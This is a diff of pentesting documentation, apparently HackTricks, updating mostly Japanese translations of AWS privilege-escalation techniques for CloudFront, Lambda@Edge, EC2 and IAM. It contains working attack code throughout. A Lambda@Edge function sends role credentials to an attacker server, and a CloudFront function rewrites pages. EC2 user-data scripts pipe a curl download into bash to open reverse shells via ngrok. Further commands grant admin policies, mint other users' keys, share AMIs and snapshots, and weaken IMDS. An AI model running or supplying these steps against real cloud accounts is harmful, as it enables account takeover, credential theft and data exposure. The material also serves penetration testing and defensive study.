\
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+```
+
+### `cloudfront:UpdateFunction`, `cloudfront:PublishFunction`, `cloudfront:GetFunction`, `cloudfront:CreateFunction` and `cloudfront:AssociateFunction`
+An attacker needs the permissions cloudfront:UpdateFunction, cloudfront:PublishFunction, cloudfront:GetFunction, cloudfront:CreateFunction and cloudfront:AssociateFunction to manipulate or create CloudFront functions.
+
+The attacker creates a malicious CloudFront Function that injects JavaScript into HTML responses:
+
+```bash
+function handler(event) {
+var request = event.request;
+var response = event.response;
+// Create a new body with malicious JavaScript
+var maliciousBody = `
+
+
+
+Compromised Page
+
+
+Original Content
+This page has been modified by CloudFront Functions
+
+
+
+`;
+// Replace the body entirely
+response.body = { encoding: "text", data: maliciousBody };
+// Update headers
+response.headers["content-type"] = { value: "text/html; charset=utf-8" };
+response.headers["content-length"] = {
+value: maliciousBody.length.toString(),
+};
+response.headers["x-cloudfront-function"] = { value: "malicious-injection" };
+return response;
+}
+```
+
+Commands to create, publish and attach the function:
+
+```bash
+# CloudFront に malicious function を作成
+aws cloudfront create-function --name malicious-function --function-config '{
+"Comment": "Malicious CloudFront Function for Code Injection",
+"Runtime": "cloudfront-js-1.0"
+}' --function-code fileb://malicious-function.js
+
+# DEVELOPMENT ステージの関数の ETag を取得
+aws cloudfront describe-function --name malicious-function --stage DEVELOPMENT --query 'ETag' --output text
+
+# 関数を LIVE ステージに公開する
+aws cloudfront publish-function --name malicious-function --if-match
+```
+
+Add the function to the distribution configuration (FunctionAssociations):
+
+```bash
+"FunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"FunctionARN": "arn:aws:cloudfront:::function/malicious-function",
+"EventType": "viewer-response"
+}
+]
+}
+```
+
+Finally update the distribution configuration (remember to supply the current ETag):
+
+```bash
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution --id --distribution-config file://current-config.json --if-match $CURRENT_ETAG
+```
+
+### `lambda:CreateFunction`, `lambda:UpdateFunctionCode`, `lambda:PublishVersion`, `iam:PassRole` & `cloudfront:UpdateDistribution`
+
+An attacker needs the lambda:CreateFunction, lambda:UpdateFunctionCode, lambda:PublishVersion, iam:PassRole and cloudfront:UpdateDistribution permissions to create and associate malicious Lambda@Edge functions. A role that can be assumed by the lambda.amazonaws.com and edgelambda.amazonaws.com service principals is also required.
+
+The attacker creates a malicious Lambda@Edge function that steals the IAM role credentials:
+
+```bash
+// malicious-lambda-edge.js
+exports.handler = async (event) => {
+// Obtain role credentials
+const credentials = {
+accessKeyId: process.env.AWS_ACCESS_KEY_ID,
+secretAccessKey: process.env.AWS_SECRET_ACCESS_KEY,
+sessionToken: process.env.AWS_SESSION_TOKEN,
+};
+// Send credentials to attacker's server
+try {
+await fetch("https:///steal-credentials", {
+method: "POST",
+headers: { "Content-Type": "application/json" },
+body: JSON.stringify(credentials)
+});
+} catch (error) {
+console.error("Error sending credentials:", error);
+}
+if (event.Records && event.Records[0] && event.Records[0].cf) {
+// Modify response headers
+const response = event.Records[0].cf.response;
+response.headers["x-credential-theft"] = [
+{
+key: "X-Credential-Theft",
+value: "Successful",
+},
+];
+return response;
+}
+return {
+statusCode: 200,
+body: JSON.stringify({ message: "Credentials stolen" })
+};
+};
+```
+
+```bash
+# Lambda@Edge 関数をパッケージ化する
+zip malicious-lambda-edge.zip malicious-lambda-edge.js
+
+# 特権ロールで Lambda@Edge 関数を作成する
+aws lambda create-function \
+--function-name malicious-lambda-edge \
+--runtime nodejs18.x \
+--role \
+--handler malicious-lambda-edge.handler \
+--zip-file fileb://malicious-lambda-edge.zip \
+--region
+
+# 関数のバージョンを公開する
+aws lambda publish-version --function-name malicious-lambda-edge --region
+```
+
+Then the attacker updates the CloudFront distribution configuration to reference the published Lambda@Edge version:
+
+```bash
+"LambdaFunctionAssociations": {
+"Quantity": 1,
+"Items": [
+{
+"LambdaFunctionARN": "arn:aws:lambda:us-east-1::function:malicious-lambda-edge:1",
+"EventType": "viewer-response",
+"IncludeBody": false
+}
+]
+}
+```
+
+```bash
+# 更新した distribution config を適用する（現在の ETag を使用する必要があります）
+CURRENT_ETAG=$(aws cloudfront get-distribution-config --id --query 'ETag' --output text)
+
+aws cloudfront update-distribution \
+--id \
+--distribution-config file://current-config.json \
+--if-match $CURRENT_ETAG
+
+# distribution にリクエストして function をトリガーする
+curl -v https://.cloudfront.net/
+```
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
index aeaaff586..78f8f28e6 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@
## EC2
-EC2に関する**詳細情報**は以下を参照してください：
+EC2に関する**詳細情報**は次を参照：
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,19 +12,19 @@ EC2に関する**詳細情報**は以下を参照してください：
### `iam:PassRole`, `ec2:RunInstances`
-攻撃者は**IAMロールをアタッチしたインスタンスを作成してそのインスタンスにアクセスする**ことで、メタデータエンドポイントからIAMロールの資格情報を盗む可能性があります。
+攻撃者は、**IAM roleをアタッチしたインスタンスを作成し、そのインスタンスにアクセスすることで**、メタデータエンドポイントからIAM roleの認証情報を盗むことができる。
- **SSH経由でのアクセス**
-新しいインスタンスを**作成済みの** **ssh key**（`--key-name`）で起動し、その後sshでログインします（新しいkeyを作成する場合は、`ec2:CreateKeyPair`の権限が必要になることがあります）。
+新しいインスタンスを、**作成済みの** **ssh key**（`--key-name`）を使って起動し、その後sshでログインする（新しいkeyを作成する場合は`ec2:CreateKeyPair`の権限が必要になる可能性がある）。
```bash
aws ec2 run-instances --image-id --instance-type t2.micro \
--iam-instance-profile Name= --key-name \
--security-group-ids
```
-- **user data内のrev shellを使ったアクセス**
+- **user dataでのrev shellによるアクセス**
-新しいinstanceを**user data** (`--user-data`) を使って起動し、あなたに**rev shell**を送るようにできます。 この方法ではsecurity groupを指定する必要はありません。
+**user data** (`--user-data`) を使って新しいインスタンスを起動し、あなたに **rev shell** を送るようにできます。この方法では **security group** を指定する必要はありません。
```bash
echo '#!/bin/bash
curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id --instance-type t2.micro \
--count 1 \
--user-data "file:///tmp/rev.sh"
```
-インスタンス外で IAM role の credentials を使用する場合は、GuradDuty に注意してください:
+Be careful with GuradDuty if you use the credentials of the IAM role outside of the instance:
{{#ref}}
../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
{{#endref}}
-**Potential Impact:** 既存の instance profiles にアタッチされている任意の EC2 role への直接的な privesc.
+**潜在的な影響:** 既存の instance profiles にアタッチされている EC2 role への直接的な privesc。
#### Privesc to ECS
-この権限セットがあれば、**EC2 instance を作成し ECS cluster に登録する**こともできます。これにより、ECS の **services** はあなたがアクセスできる **EC2 instance** 内で **run** され、そこでそれらの services（docker containers）に侵入して、アタッチされている **ECS roles** を盗むことができます。
+この権限セットがあれば、**EC2 instance を作成して ECS cluster 内に登録する**こともできます。こうすることで、アクセス可能な **EC2 instance** 内で ECS の **services** が **run** され、そこに展開されているサービス（docker containers）に侵入して、**steal their ECS roles attached** ことができます。
```bash
aws ec2 run-instances \
--image-id ami-07fde2ae86109a2af \
@@ -67,12 +67,12 @@ To learn how to **force ECS services to be run** in this new EC2 instance check:
If you **cannot create a new instance** but has the permission `ecs:RegisterContainerInstance` you might be able to register the instance inside the cluster and perform the commented attack.
-**潜在的影響:** Direct privesc to ECS roles attached to tasks.
+**Potential Impact:** タスクにアタッチされた ECS roles への直接的な privesc。
### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**
-前のシナリオと同様に、これらの権限を持つ攻撃者は **compromised instance の IAM role を変更** して新しい credentials を奪取することができます.\
-As an instance profile can only have 1 role, if the instance profile **already has a role** (common case), you will also need **`iam:RemoveRoleFromInstanceProfile`**.
+前のシナリオと同様に、これらの権限を持つ攻撃者は、侵害されたインスタンスの IAM ロールを変更して新しい認証情報を窃取することができます。\
+インスタンスプロファイルは1つのロールしか持てないため、インスタンスプロファイルが**すでにロールを持っている**（一般的なケース）場合、さらに **`iam:RemoveRoleFromInstanceProfile`** が必要になります。
```bash
# Removing role from instance profile
aws iam remove-role-from-instance-profile --instance-profile-name --role-name
@@ -80,19 +80,21 @@ aws iam remove-role-from-instance-profile --instance-profile-name --role-
# Add role to instance profile
aws iam add-role-to-instance-profile --instance-profile-name --role-name
```
-もし**instance profile が role を持っていて**攻撃者がそれを**削除できない**場合、別の回避策があります。攻撃者は**role のない instance profile を見つける**か、**新しいものを作成する**（`iam:CreateInstanceProfile`）、その**instance profile に role を追加する**（前述の通り）、そして侵害した**instance にその instance profile を関連付ける**:
+もし**instance profile has a role**で、attackerが**cannot remove it**場合、別の回避策がある。
-- もしその instance に**instance profile が何もない**場合（`ec2:AssociateIamInstanceProfile`）
+attackerは**find**して**instance profile without a role**を見つけるか、**create a new one**（`iam:CreateInstanceProfile`）、その**role**をその**instance profile**に**add**し（前述の通り）、そしてその**instance profile**をcompromisedなi**nstance**に**associate the instance profile**できる：
+
+- もしインスタンスが**doesn't have any instance** profileの場合（`ec2:AssociateIamInstanceProfile`）
```bash
aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id
```
-**潜在的影響:** Direct privesc to a different EC2 role (you need to have compromised a AWS EC2 instance and some extra permission or specific instance profile status).
+**潜在的影響:** Direct privesc to a different EC2 role (既に AWS EC2 インスタンスを侵害しており、追加の権限または特定のインスタンスプロファイルの状態が必要です)。
### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)
-これらの権限があれば、ある instance に関連付けられている instance profile を変更することが可能です。攻撃者が既にその instance にアクセスしている場合、関連付けられている instance profile を変更することで、より多くの instance profile roles の認証情報を盗むことができるようになります。
+With these permissions it's possible to change the instance profile associated to an instance so if the attack had already access to an instance he will be able to steal credentials for more instance profile roles changing the one associated with it.
-- もしそれが **instance profile を持っている** 場合、`ec2:DisassociateIamInstanceProfile` を使って instance profile を **削除** し、そして **関連付ける** ことができます
+- もしインスタンスに**インスタンスプロファイルがある**場合、インスタンスプロファイルを**削除**（`ec2:DisassociateIamInstanceProfile`）し、別のものを**関連付け**（`ec2:AssociateIamInstanceProfile`）できます。
```bash
aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
aws ec2 disassociate-iam-instance-profile --association-id
@@ -102,12 +104,12 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins
```bash
aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id
```
-**潜在的な影響:** 別の EC2 ロールへの直接的な privesc（AWS EC2 インスタンスを侵害しており、追加の権限または特定のインスタンスプロファイルの状態が必要）。
+**Potential Impact:** 別の EC2 role への直接的な privesc（AWS EC2 instance を侵害しており、追加の権限または特定の instance profile の状態が必要）。
### `ec2:RequestSpotInstances`,`iam:PassRole`
-権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**request** により **Spot Instance** を **EC2 Role attached** の状態で起動し、**user data** に **rev shell** を置くことができます。\
-インスタンスが実行されると、攻撃者は **steal the IAM role** できます。
+権限 **`ec2:RequestSpotInstances`and`iam:PassRole`** を持つ攻撃者は、**request** a **Spot Instance** with an **EC2 Role attached** and a **rev shell** in the **user data**.\
+インスタンスが起動すると、攻撃者は **steal the IAM role** することができます。
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +121,10 @@ aws ec2 request-spot-instances \
```
### `ec2:ModifyInstanceAttribute`
-**`ec2:ModifyInstanceAttribute`** を持つ攻撃者はインスタンスの属性を変更できます。中でも **user data を変更する** ことで、インスタンスに **任意のデータを実行させる** ことが可能になり、これを利用して **rev shell を EC2 インスタンスに対して取得** することができます。
+**`ec2:ModifyInstanceAttribute`** を持つ攻撃者はインスタンスの属性を変更できます。
+その中で、**change the user data**ことができ、これによりインスタンスに**run arbitrary data.**を実行させることが可能になります。これは**rev shell to the EC2 instance**を取得するために利用できます。
-属性はインスタンスが停止している間にのみ **変更できる** ため、**`ec2:StopInstances`** と **`ec2:StartInstances`** の **権限** が必要である点に注意してください。
+属性はインスタンスが停止している間にのみ**変更可能**である点に注意してください。そのため、**権限**として**`ec2:StopInstances`**と**`ec2:StartInstances`**が必要です。
```bash
TEXT='Content-Type: multipart/mixed; boundary="//"
MIME-Version: 1.0
@@ -158,11 +161,11 @@ aws ec2 modify-instance-attribute \
aws ec2 start-instances --instance-ids $INSTANCE_ID
```
-**潜在的影響:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc.
+**潜在的な影響:** 作成されたインスタンスにアタッチされた任意の EC2 IAM Role への直接的な privesc.
### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`
-権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**new Launch Template version** を作成し、**user data** に **rev shell in** を仕込み、**any EC2 IAM Role on it** を設定してデフォルトバージョンを変更できます。そして、**latest** または **default version** を使用するよう **configured** された **Launch Templat**e を **using** している **any Autoscaler group** は、そのテンプレートを使ってインスタンスを **re-run the instances** し、rev shell を実行します。
+権限 **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** を持つ攻撃者は、**new Launch Template version** を作成し、**rev shell in** を **user data** に組み込み、**any EC2 IAM Role on it** を割り当ててデフォルトバージョンを変更できます。さらに、**any Autoscaler group** **using** that **Launch Templat**e は **configured** が **latest** または **default version** を使用するように設定されている場合、当該テンプレートを使ってインスタンスを**re-run the instances** し、rev shell を実行します。
```bash
REV=$(printf '#!/bin/bash
curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -180,7 +183,7 @@ aws ec2 modify-launch-template \
### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`), `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)
-権限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** を持つ攻撃者は、**Launch Configuration を作成し**、**IAM Role** と **rev shell** を **user data** に入れ、次にその設定から **autoscaling group を作成して** rev shell が **IAM Role を乗っ取る** のを待つことができます。
+権限 **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** を持つ攻撃者は、**Launch Configuration** を **IAM Role** と **rev shell** を **user data** に含めて作成し、その設定から **autoscaling group** を作成して rev shell が **IAM Role を奪取**するのを待つことができます。
```bash
aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
--launch-configuration-name bad_config \
@@ -196,28 +199,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
--desired-capacity 1 \
--vpc-zone-identifier "subnet-e282f9b8"
```
-**Potential Impact:** 別の EC2 role への直接的な privesc。
+**潜在的影響:** 別の EC2 role への直接 privesc。
### `!autoscaling`
-権限セット **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** だけでは IAM role への privesc を行うには不十分です。なぜなら Launch Configuration や Launch Template に指定された role をアタッチするには **`iam:PassRole` and `ec2:RunInstances` の権限が必要** だからです（これは既知の privesc です）。
+パーミッションの組み合わせ **`ec2:CreateLaunchTemplate`** と **`autoscaling:CreateAutoScalingGroup`** **だけでは IAM role への権限昇格はできません**。なぜなら、Launch Configuration や Launch Template に指定された role をアタッチするには **`iam:PassRole`and `ec2:RunInstances`** の権限が必要だからです（これは既知の privesc です）。
### `ec2-instance-connect:SendSSHPublicKey`
-権限 **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者はユーザーに ssh キーを追加し、それを使ってアクセスすることができます（インスタンスへの ssh アクセスがある場合）。または privesc を行うことも可能です。
+パーミッション **`ec2-instance-connect:SendSSHPublicKey`** を持つ攻撃者は、ユーザーに ssh キーを追加し、それを使ってインスタンスにアクセス（攻撃者がそのインスタンスへの ssh アクセスを持っている場合）したり、権限昇格に利用したりできます。
```bash
aws ec2-instance-connect send-ssh-public-key \
--instance-id "$INSTANCE_ID" \
--instance-os-user "ec2-user" \
--ssh-public-key "file://$PUBK_PATH"
```
-**潜在的影響:** 実行中のインスタンスにアタッチされた EC2 IAM roles への直接 privesc。
+**Potential Impact:** 実行中のインスタンスにアタッチされた EC2 IAM roles への直接的な privesc。
### `ec2-instance-connect:SendSerialConsoleSSHPublicKey`
-権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、**シリアル接続に ssh key を追加**できます。シリアルが有効でない場合、攻撃者は **`ec2:EnableSerialConsoleAccess` を有効にする権限** が必要です。
+この権限 **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** を持つ攻撃者は、シリアル接続に **ssh キーを追加する** ことができます。シリアルが有効になっていない場合、攻撃者はそれを有効化するために **`ec2:EnableSerialConsoleAccess`** の権限が必要です。
-シリアルポートに接続するには、マシン内のユーザーの **ユーザー名とパスワードを知っている必要があります**。
+シリアルポートに接続するには、マシン内部のユーザーのユーザー名とパスワードを**知っている必要がある**。
```bash
aws ec2 enable-serial-console-access
@@ -229,13 +232,13 @@ aws ec2-instance-connect send-serial-console-ssh-public-key \
ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west-1.aws
```
-この方法は、悪用するにはユーザー名とパスワードを知っている必要があるため、privesc にはあまり有用ではありません。
+この方法は、悪用するにはユーザー名とパスワードを知っている必要があるため、privescにはあまり有用ではありません。
-**Potential Impact:** （非常に立証困難）実行中のインスタンスにアタッチされている EC2 IAM roles への直接的な privesc。
+**Potential Impact:**（非常に立証困難）稼働中のインスタンスにアタッチされたEC2 IAM rolesへの直接的なprivesc。
### `describe-launch-templates`,`describe-launch-template-versions`
-launch templates はバージョニングを持つため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** の権限を持つ攻撃者は、これらを悪用して user data に含まれる資格情報などの機密情報を発見できる可能性があります。これを行うには、以下のスクリプトが利用可能な launch templates の全バージョンをループします:
+launch templatesはバージョニングを持つため、**`ec2:describe-launch-templates`** および **`ec2:describe-launch-template-versions`** 権限を持つ攻撃者は、user dataに含まれる資格情報などの機密情報を発見するためにこれらを悪用できます。この目的を達成するため、以下のスクリプトは利用可能なlaunch templatesの全バージョンをループします：
```bash
for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId')
do
@@ -250,11 +253,11 @@ done
```
上記のコマンドでは特定のパターン（`aws_|password|token|api`）を指定していますが、他の種類の機密情報を検索するために別の正規表現を使用できます。
-`aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの認証情報を使って AWS に認証できます。
+仮に `aws_access_key_id` と `aws_secret_access_key` を見つけた場合、これらの認証情報を使って AWS に認証できます。
-**Potential Impact:** IAM user(s) への直接的な権限昇格。
+**潜在的影響:** IAM user(s) への直接的な権限昇格。
-## References
+## 参考文献
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
@@ -262,14 +265,14 @@ done
-### `ec2:ModifyInstanceMetadataOptions` (IMDS をダウングレードして SSRF による資格情報窃取を可能にする)
+### `ec2:ModifyInstanceMetadataOptions` (IMDS downgrade to enable SSRF credential theft)
-被害者の EC2 インスタンスに対して `ec2:ModifyInstanceMetadataOptions` を呼び出す権限がある攻撃者は、IMDSv1 を有効化（`HttpTokens=optional`）し、`HttpPutResponseHopLimit` を増やすことで IMDS の保護を弱めることができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/プロキシ経路を通じて instance metadata endpoint に到達できるようになります。攻撃者がそのようなアプリで SSRF を起こせれば、instance profile credentials を取得してそれを使って pivot できます。
+被害対象の EC2 インスタンス上で `ec2:ModifyInstanceMetadataOptions` を呼び出す能力を持つ攻撃者は、IMDS の保護を弱めるために IMDSv1 を有効化（`HttpTokens=optional`）し、`HttpPutResponseHopLimit` を増加させることができます。これにより、インスタンス上で動作するアプリケーションからの一般的な SSRF/プロキシ経路経由で instance metadata endpoint に到達できるようになります。攻撃者がそのようなアプリで SSRF を誘発できれば、instance profile の認証情報を取得して pivot することが可能です。
-- 必要な権限: ターゲットインスタンスに対する `ec2:ModifyInstanceMetadataOptions`（およびホストに対して SSRF に到達/トリガーする能力）。
-- 対象リソース: instance profile (IAM role) がアタッチされた稼働中の EC2 インスタンス。
+- Required permissions: 対象インスタンスでの `ec2:ModifyInstanceMetadataOptions` （およびホストに到達/SSRF を発生させる能力）。
+- Target resource: 実行中の EC2 インスタンスで、attached instance profile (IAM role) が割り当てられているもの。
-コマンド例:
+Commands example:
```bash
# 1) Check current metadata settings
aws ec2 describe-instances --instance-id \
@@ -296,5 +299,28 @@ aws sts get-caller-identity
aws ec2 modify-instance-metadata-options --instance-id \
--http-tokens required --http-put-response-hop-limit 1
```
-潜在的な影響: SSRF を介した instance profile credentials の窃取により、EC2 ロールの権限を使った権限昇格および横移動が発生する可能性があります。
+潜在的影響: SSRF を介した instance profile credentials の窃取により、EC2 role の権限での privilege escalation および lateral movement を引き起こす可能性があります。
+
+### `ec2:ModifyInstanceMetadataOptions`
+
+ec2:ModifyInstanceMetadataOptions permission を持つ攻撃者は、Instance Metadata Service (IMDS) の保護を弱めることができます — 例えば IMDSv1 を強制して HttpTokens を必須でなくしたり、HttpPutResponseHopLimit を増やしたりすることで — これにより一時的な認証情報の外部持ち出しが容易になります。最も関連性の高いリスクベクターは HttpPutResponseHopLimit の引き上げです: その hop limit (TTL) を増やすことで、169.254.169.254 エンドポイントが VM のネットワーク名前空間に厳密に制限されなくなり、他のプロセス/コンテナから到達可能になって認証情報の窃取を可能にします。
+```bash
+aws ec2 modify-instance-metadata-options \
+--instance-id \
+--http-tokens optional \
+--http-endpoint enabled \
+--http-put-response-hop-limit 2
+```
+### `ec2:ModifyImageAttribute`, `ec2:ModifySnapshotAttribute`
+
+ec2:ModifyImageAttribute および ec2:ModifySnapshotAttribute の権限を持つ攻撃者は、AMIs や snapshots を他の AWS アカウントと共有したり（公開することさえ）でき、設定、資格情報、証明書、バックアップなどの機密データを含む可能性のあるイメージやボリュームを露出させる恐れがあります。AMI の launch permissions や snapshot の create-volume permissions を変更することで、攻撃者は第三者がそれらのリソースからインスタンスを起動したりディスクをマウントして内容にアクセスできるようにします。
+
+To share an AMI with another account:
+```bash
+aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region
+```
+EBS snapshot を別のアカウントと共有するには:
+```bash
+aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region
+```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
index 12b84a9cd..1857beb7f 100644
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md
@@ -4,7 +4,7 @@
## IAM
-IAM の詳細については次を参照してください:
+IAMの詳細は次を参照してください:
{{#ref}}
../../aws-services/aws-iam-enum.md
@@ -12,98 +12,98 @@ IAM の詳細については次を参照してください:
### **`iam:CreatePolicyVersion`**
-新しい IAM ポリシー バージョンを作成する権限を付与します。`--set-as-default` フラグを使用することで `iam:SetDefaultPolicyVersion` 権限を必要とせずにデフォルトに設定でき、これによりカスタム権限を定義できます。
+新しいIAMポリシーバージョンを作成する能力を付与します。`--set-as-default` フラグを使用することで、`iam:SetDefaultPolicyVersion` 権限を必要とせずにデフォルトに設定できます。これによりカスタム権限を定義できます。
**Exploit Command:**
```bash
aws iam create-policy-version --policy-arn \
--policy-document file:///path/to/administrator/policy.json --set-as-default
```
-**影響:** 任意のリソースに対して任意のアクションを許可することで、直接的に権限を昇格させます。
+**影響:** 直接的に権限を昇格させ、任意のリソースに対する任意のアクションを許可します。
### **`iam:SetDefaultPolicyVersion`**
-IAMポリシーのデフォルトバージョンを別の既存バージョンに変更できる権限です。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。
+IAM policy のデフォルトバージョンを別の既存バージョンに変更できるようにします。新しいバージョンがより多くの権限を持っている場合、権限が昇格する可能性があります。
-**Bash Command:**
+**Bash コマンド:**
```bash
aws iam set-default-policy-version --policy-arn --version-id v2
```
-**影響:** より多くの権限を付与できるようにすることで、間接的に privilege escalation を引き起こす。
+**影響:** より多くの権限を有効にすることで間接的に privilege escalation を引き起こす。
### **`iam:CreateAccessKey`**
-他のユーザーの access key ID と secret access key を作成できるようにし、潜在的に privilege escalation を引き起こす可能性がある。
+他のユーザーの access key ID と secret access key を作成できるようにし、潜在的な privilege escalation を引き起こす可能性がある。
-**Exploit:**
+**悪用:**
```bash
aws iam create-access-key --user-name
```
-**影響:** 別のユーザーの拡張された権限を引き受けることで、直接的な権限昇格が可能になる。
+**Impact:** 他のユーザーの拡張権限を引き受けることで、直接的な privilege escalation が可能になります。
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
-ログインプロファイルの作成や更新（AWS コンソールログイン用のパスワード設定を含む）を許可し、これにより直接的な権限昇格を招く。
+ログインプロファイルの作成・更新（AWSコンソールログイン用のパスワード設定を含む）を許可し、直接的な privilege escalation を引き起こします。
**Exploit for Creation:**
```bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**更新用Exploit:**
+**更新のための Exploit:**
```bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password ''
```
-**影響:** 「any」ユーザーとしてログインすることで直接的な権限昇格が発生します。
+**Impact:** "any" ユーザーとしてログインすることで直接的に権限昇格が可能。
### **`iam:UpdateAccessKey`**
-無効化されたアクセスキーを有効にできるため、attacker がその無効化されたキーを所持している場合、不正アクセスにつながる可能性があります。
+無効化された access key を再び有効化できる。攻撃者がその無効化された access key を所持している場合、不正アクセスを招く可能性がある。
-**悪用:**
+**Exploit:**
```bash
aws iam update-access-key --access-key-id --status Active --user-name
```
-**影響:** アクセスキーを再有効化することで直接的な権限昇格を引き起こします。
+**影響:** access keys を再有効化することによる直接的な権限昇格。
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
-特定のAWSサービス（例: CodeCommit、Amazon Keyspaces）向けの認証情報を生成またはリセットできるようにし、関連付けられたユーザーの権限を継承します。
+特定の AWS サービス（例: CodeCommit、Amazon Keyspaces）向けの認証情報を生成またはリセットすることを許可し、関連ユーザーの権限を継承します。
**Exploit for Creation:**
```bash
aws iam create-service-specific-credential --user-name --service-name
```
-**リセットのためのExploit:**
+**リセット用Exploit:**
```bash
aws iam reset-service-specific-credential --service-specific-credential-id
```
-**Impact:** ユーザーのサービス権限内での直接的な権限昇格。
+**Impact:** ユーザーのサービス権限範囲内での直接的な権限昇格。
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
-ポリシーをユーザーまたはグループにアタッチできるようにし、アタッチされたポリシーの権限を継承することで直接的に権限を昇格させます。
+ユーザーやグループにポリシーをアタッチでき、アタッチされたポリシーの権限を継承して直接的に権限を昇格させることができます。
**Exploit for User:**
```bash
aws iam attach-user-policy --user-name --policy-arn ""
```
-**Group向けのExploit:**
+**グループ向け Exploit:**
```bash
aws iam attach-group-policy --group-name --policy-arn ""
```
-**Impact:** ポリシーが許可するあらゆる操作への直接的な権限昇格。
+**影響:** ポリシーが付与するあらゆる権限への直接的な privilege escalation。
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
-ロール、ユーザー、グループにポリシーをアタッチまたは設定することを許可し、追加の権限を付与することで直接的に権限昇格が可能になります。
+ロール、ユーザー、グループに対してポリシーをアタッチまたは設定することを許可し、追加の権限を付与することで直接的な privilege escalation を可能にします。
**Exploit for Role:**
```bash
aws iam attach-role-policy --role-name --policy-arn ""
```
-**インラインポリシーのExploit:**
+**Inline PoliciesのExploit:**
```bash
aws iam put-user-policy --user-name --policy-name "" \
--policy-document "file:///path/to/policy.json"
@@ -114,7 +114,7 @@ aws iam put-group-policy --group-name --policy-name ""
aws iam put-role-policy --role-name --policy-name "" \
--policy-document file:///path/to/policy.json
```
-次のようなポリシーを使用できます:
+次のようなポリシーを使用できます：
```json
{
"Version": "2012-10-17",
@@ -127,28 +127,28 @@ aws iam put-role-policy --role-name --policy-name "" \
]
}
```
-**影響:** ポリシーを通じて権限を追加することで直接的な権限昇格を引き起こします。
+**影響:** ポリシーを通じて権限を追加することで発生する直接的な権限昇格。
### **`iam:AddUserToGroup`**
-自分自身をIAMグループに追加することを可能にし、グループの権限を継承することで権限が昇格します。
+自身を IAM グループに追加することを可能にし、グループの権限を継承することで権限を昇格させます。
**Exploit:**
```bash
aws iam add-user-to-group --group-name --user-name
```
